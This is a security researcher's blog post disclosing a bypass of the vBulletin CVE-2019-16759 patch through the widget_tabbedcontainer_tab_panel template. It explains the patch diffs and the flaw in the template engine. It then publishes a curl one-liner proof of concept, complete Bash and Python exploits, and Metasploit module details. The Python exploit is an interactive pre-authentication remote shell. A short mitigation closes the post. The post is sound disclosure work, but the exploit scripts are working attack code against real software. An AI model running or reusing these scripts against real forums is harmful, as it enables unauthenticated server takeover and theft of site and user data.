Exploiting vBulletin: “A Tale of a Patch Fail”

Posted: August 9th, 2020 | **Author:** zenofex | **Filed under:** Uncategorized | 1 Comment »

On September 23, 2019 an undisclosed researcher released a bug which allowed for PHP remote code execution in vBulletin 5.0 through 5.4. This bug (CVE-2019-16759) was labeled as a ‘bugdoor’ because of its simplicity by a popular vulnerability broker and was marked with a CVSS 3.x score of 9.8 giving it a critical rating.

Today, we’re going to talk about how the patch that was supplied for the vulnerability was inadequate in blocking exploitation, show how to bypass the resulting fix, and releasing a bash one-liner resulting in remote code execution in the latest vBulletin software.

CVE-2019-16759

The vulnerability mentioned above was later formally labeled “CVE-2019-16759” and a patch was issued on September 25, 2019. Although the patch was provided in just under 3 days, the patch seemed, at the time, to fix the proof of concept exploit provided by the un-named finder.

The patch(s) consisted of three main changes provided in 2 sets of patches, the first being shown below.

```
120         /**
121          *      Remove any problematic values from the template
122          *      variable arrays before rendering
123          */
124         //for now don't pass the values through.  These arrays are potentially large
125         //and we don't want to make unnecesary copies.  The alternative is to pass by
126         //reference which causes it's own headaches.  It's an internal function and the
127         //relevant arrays are all class variables.
128         private function cleanRegistered()
129         {
130                 $disallowedNames = array('widgetConfig');
131                 foreach($disallowedNames AS $name)
132                 {
133                         unset($this->registered[$name]);
134                         unset(self::$globalRegistered[$name]);
135                 }
136         }
```

The above function was added but unfortunately had to be obtained from the code as opposed to directly from a diff between the two coded bases. This is because vBulletin doesn’t provide the older insecure versions of their software after a patch is released. Therefore, the above code was pulled directly from 5.5.4 Patch Level 2.

The above “cleanRegistered” function was added as the first fix to the vulnerability and simply iterates through a list of non-allowed “registered variables”, deleting their contents when found. This list when added only contained the name of the single variable which contained the php code to execute in the released exploit.

In the next version of the software (vBulletin 5.5.5), the following pieces were added to further prevent future problems with the widget_rendering template code.

```
diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/u
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php     2020-08-08 06:40:31.356918994 -0500
+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php   2020-08-08 06:40:40.577517014 -0500
@@ -286,20 +286,32 @@
                         throw new vB5_Exception_Api('ajax', 'render', array(), 'invalid_request');
                 }

-                $this->router = new vB5_Frontend_Routing();
-                $this->router->setRouteInfo(array(
-                        'action'          => 'actionRender',
-                        'arguments'       => $serverData,
-                        'template'        => $routeInfo[2],
-                        // this use of $_GET appears to be fine,
-                        // since it's setting the route query params
-                        // not sending the data to the template
-                        // render
-                        'queryParameters' => $_GET,
-                ));
-                Api_InterfaceAbstract::setLight();
+                $templateName = $routeInfo[2];
+                if ($templateName == 'widget_php')
+                {
+                        $result = array(
+                                'template' => '',
+                                'css_links' => array(),
+                        );
+                }
+                else
+                {
+                        $this->router = new vB5_Frontend_Routing();
+                        $this->router->setRouteInfo(array(
+                                'action'          => 'actionRender',
+                                'arguments'       => $serverData,
+                                'template'        => $templateName,
+                                // this use of $_GET appears to be fine,
+                                // since it's setting the route query params
+                                // not sending the data to the template
+                                // render
+                                'queryParameters' => $_GET,
+                        ));
+                        Api_InterfaceAbstract::setLight();
+                        $result = vB5_Template::staticRenderAjax($templateName, $serverData);
+                }

-                $this->sendAsJson(vB5_Template::staticRenderAjax($routeInfo[2], $serverData));
+                $this->sendAsJson($result);
         }

         /**
```

This portion of the patch created an if statement that would return empty template or css data if the ‘widget_php’ template was listed as the last portion of the route. These two changes prevented the PoC from functioning in its released state.

The third change can be found in the second part of the vBulletin 5.5.5 update diff.

```
        diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/up
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php      2020-08-08 06:40:31.276913797 -0500
```

```
+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php    2020-08-08 06:40:40.493511575 -0500
@@ -12,6 +12,26 @@

 class vB5_Template_Runtime
 {
+       //This is intended to allow the runtime to know that template it is rendering.
+       //It's ugly and shouldn't be used lightly, but making some features widely
+       //available to all templates is uglier.
+       private static $templates = array();
+
+       public static function startTemplate($template)
+       {
+               array_push(self::$templates, $template);
+       }
+
+       public static function endTemplate()
+       {
+               array_pop(self::$templates);
+       }
+
+       private static function currentTemplate()
+       {
+               return end(self::$templates);
+       }
+
        public static $units = array(
                '%',
                'px',
@@ -1944,6 +1964,21 @@
                        return '<div style="border:1px solid red;padding:10px;margin:10px;">' . htmlspecialchars($timerName) . ': ' . $elapsed . '</div>';
                }
        }
+
+       public static function evalPhp($code)
+       {
+               //only allow the PHP widget template to do this.  This prevents a malicious user
+               //from hacking something into a different template.
+               if (self::currentTemplate() != 'widget_php')
+               {
+                       return '';
+               }
+               ob_start();
+               eval($code);
+               $output = ob_get_contents();
+               ob_end_clean();
+               return $output;
+       }
 }
```

Problem Detail

The problem with the above arises because of how the vBulletin template system is structured. Specifically, templates aren't actually written in PHP but instead are written in a language that is first processed by the template engine and then is output as a string of PHP code that is later ran through an eval() during the "rendering" process. Templates are also not a standalone item but can be nested within other templates, in that one template can have a number of child templates embedded within. For example, take the following template.

```
                <template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widge
        {vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
</vb:if>

<vb:if condition="!empty($widgetConfig)">
        {vb:set widgetid, {vb:raw widgetConfig.widgetid}}
        {vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
</vb:if>

<div class="b-module{vb:var widgetConfig.show_at_breakpoints_css_classes} canvas-widget default-widget custom-html-widget" id="widget_{vb:raw widgetinstanceid}" data-widg

        {vb:template module_title,
                widgetConfig={vb:raw widgetConfig},
                show_title_divider=1,
                can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}

        <div class="widget-content">
                <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
                        <vb:comment>
                                Do not eval anything other than the widgetConfig code -- anything else could potentially come
                                from a malicious user.  Do not use phpeval outside of this template.  Ever.
                        </vb:comment>
                        {vb:phpeval {vb:raw widgetConfig.code}}
                <vb:else />
                        <vb:if condition="$user['can_use_sitebuilder']">
                                <span class="note">{vb:phrase click_edit_to_config_module}</span>
                        </vb:if>
                </vb:if>
        </div>
</div>]]></template>
```

This template would be rendered to the following PHP code.

```
$final_rendered = '' . '';
if (empty($widgetConfig) AND !empty($widgetinstanceid)) {
  $final_rendered .= '\r\n\t' . '';
  $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid);
  $final_rendered .= '' . '\r\n';\n\t\t\t\t
} else {
  $final_rendered .= '';
}
$final_rendered .= '' . '\r\n\r\n' . '';
if (!empty($widgetConfig)) {
  $final_rendered .= '\r\n\t' . '';
  $widgetid = $widgetConfig['widgetid'];
  $final_rendered .= '' . '\r\n\t' . '';
  $widgetinstanceid = $widgetConfig['widgetinstanceid'];
  $final_rendered .= '' . '\r\n';\n\t\t\t\t
} else {
  $final_rendered .= '';
}
$final_rendered .= '' . '\r\n\r\n\r\n<div class="b-module' . vB5_Template_Runtime::vBVar($widgetConfig['show_at_breakpoints_css_classes']) . ' canvas-widget default-widget cu
```

```
20
21 if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) {
22   $final_rendered .= '\r\n\t\t\t' . '' . '\r\n\t\t\t' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . '\r\n\t\t';
23 } else {
24   $final_rendered .= '\r\n\t\t\t' . '';
25   if ($user['can_use_sitebuilder']) {
26     $final_rendered .= '\r\n\t\t\t\t<span class="note">' . vB5_Template_Runtime::parsePhrase("click_edit_to_config_module") . '</span>\r\n\t\t\t';
27   } else {
28     $final_rendered .= '';
29   }
30   $final_rendered .= '' . '\r\n\t\t';
31 }
32 $final_rendered .= '' . '\r\n\t</div>\r\n</div>';
```

This type of system may seem innocuous to the untrained eye but the approach opens up a number of issues beyond just the insecure uses of an eval calls.

Regardless, here are a few ways this can fail.

- Any non-filtered modifications to the output variable will open up the code for another code execution.
- Constant filtering required of all template code for situations which can create non-escaped PHP.
- XSS filtering nightmares
- Included child code will have access to parent declared variables.

I cannot think of many situations where this would be the optimal approach. However, to keep this analysis to the point, I'll focus on the issues leading to a bypass.

Bypassing CVE-2019-16759

The patch code mentioned in one of the previous sections above may seem thorough, but the approach is actually somewhat short sighted. Specifically, the patch faces issues when encountering a user controlled child template in

```
1               <template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set
2 <div id="{vb:var panel_id}" class="h-clearfix js-show-on-tabs-create h-hide">
3         <vb:comment>
4         - {vb:var panel_id}
5         <vb:each from="subWidgets" value="subWidget">
6           -- {vb:raw subWidget.template}
7         </vb:each>
8         </vb:comment>
9
10        <vb:each from="subWidgets" value="subWidget">
11                {vb:template {vb:raw subWidget.template},
12                        widgetConfig={vb:raw subWidget.config},
13                        widgetinstanceid={vb:raw subWidget.widgetinstanceid},
14                        widgettitle={vb:raw subWidget.title},
15                        tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules},
16                        product={vb:raw subWidget.product}
17                }
18        </vb:each>
19
20
21 </div>]]></template>
```

The template "widget_tabbedcontainer_tab_panel", which is displayed above is a perfect assistant in bypassing the previous CVE-2019-16759 patch because of two key features.

1. The templates ability to load a user controlled child template.
2. The template loads the child template by taking a value from a separately named value and placing it into a variable named "widgetConfig".

These two characteristics of the "widget_tabbedcontainer_tab_panel" template allow us to effectively bypass all filtering previously done to prevent CVE-2019-16759 from being exploited.

PoC

Because of the vulnerabilities simplicity, creating a one line command line exploit is as simple as the following.

```
1 curl -s http://EXAMPLE.COM/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();'
```

Full Exploit(s)

Below is a list of a few full exploit payloads written in multiple different languages including Bash, Python and Ruby.

Bash Exploit

```
1 #!/bin/bash
2 #
3 # vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex
4 #<br># Usage ./exploit <site> <shell-command><br>
5 # Urlencode cmd
6 CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`
7
8 # Send request
9 curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'
```

Python Exploit

```
1 #!/usr/bin/env python3
2 # vBulletin 5.x pre-auth widget_tabbedContainer RCE exploit by @zenofex
3
4 import argparse
5 import requests
6 import sys
7
8 def run_exploit(vb_loc, shell_cmd):
9     post_data = {'subWidgets[0][template]' : 'widget_php',
10                'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd
11                }
12    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
13    return r.text
14
15 ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
16 ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
17 ARGS = ap.parse_args()
18
```

```
while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))
```

Metasploit Module

We're also in the process of pushing a public metasploit module to the metasploit-framework project, the pull request for which can be found here

```
msf6 exploit(multi/http/vbulletin_widget_template_rce) > info

       Name: vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.
     Module: exploit/multi/http/vbulletin_widget_template_rce
   Platform: PHP, Unix, Windows
       Arch: cmd, php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
 Disclosed: 2020-08-09

Provided by:
  Zenofex <zenofex@exploitee.rs>
```

Slides

I've also published slides: Exploiting vBulletin 5.6.2 – A Tale of a Patch Fail

A Short Term Fix

This fix will disable PHP widgets within your forums and may break some functionality but will keep you safe from attacks until a patch is released by vBulletin.

1. Go to the vBulletin administrator control panel.
2. Click "Settings" in the menu on the left, then "Options" in the dropdown.
3. Choose "General Settings" and then click "Edit Settings"
4. Look for "Disable PHP, Static HTML, and Ad Module rendering", Set to "Yes"
5. Click "Save"

Godspeed and Happy DEFCON Safe Mode

One Comment on "Exploiting vBulletin: "A Tale of a Patch Fail""

1. 1 *hacxx said at 8:05 pm on August 16th, 2020:*

   Seems like your vuln is already patched. I test it today against a few vBulletin 5 and it doesn't work.

Recent Posts

- ORP – The Open Research Project
- ViziOwn – Exploiting the Vizio SmartCast Platform
- Exploiting vBulletin: "A Tale of a Patch Fail"
- Rooting the FireTV Cube and Pendant with FireFU
- All Your Things Are Belong To Us

Archives

- April 2021
- February 2021
- August 2020
- October 2018
- August 2017
- March 2017
- January 2017
- October 2015
- February 2015
- December 2014
- June 2014
- December 2013
- August 2013
- July 2013
- May 2013
- January 2013
- December 2012
- August 2012
- July 2012
- February 2012
- December 2011
- November 2011
- October 2011
- August 2011
- July 2011
- June 2011
- May 2011
- April 2011
- February 2011
- January 2011

Categories

- Asus
- Google TV Kernels
- GTVHacker
- Hisense
- Logitech Revue
- NAS
- Nest
- Netgear
- Roku
- Root
- Routers
- Sony
- Uncategorized
- Updates

- Western Digital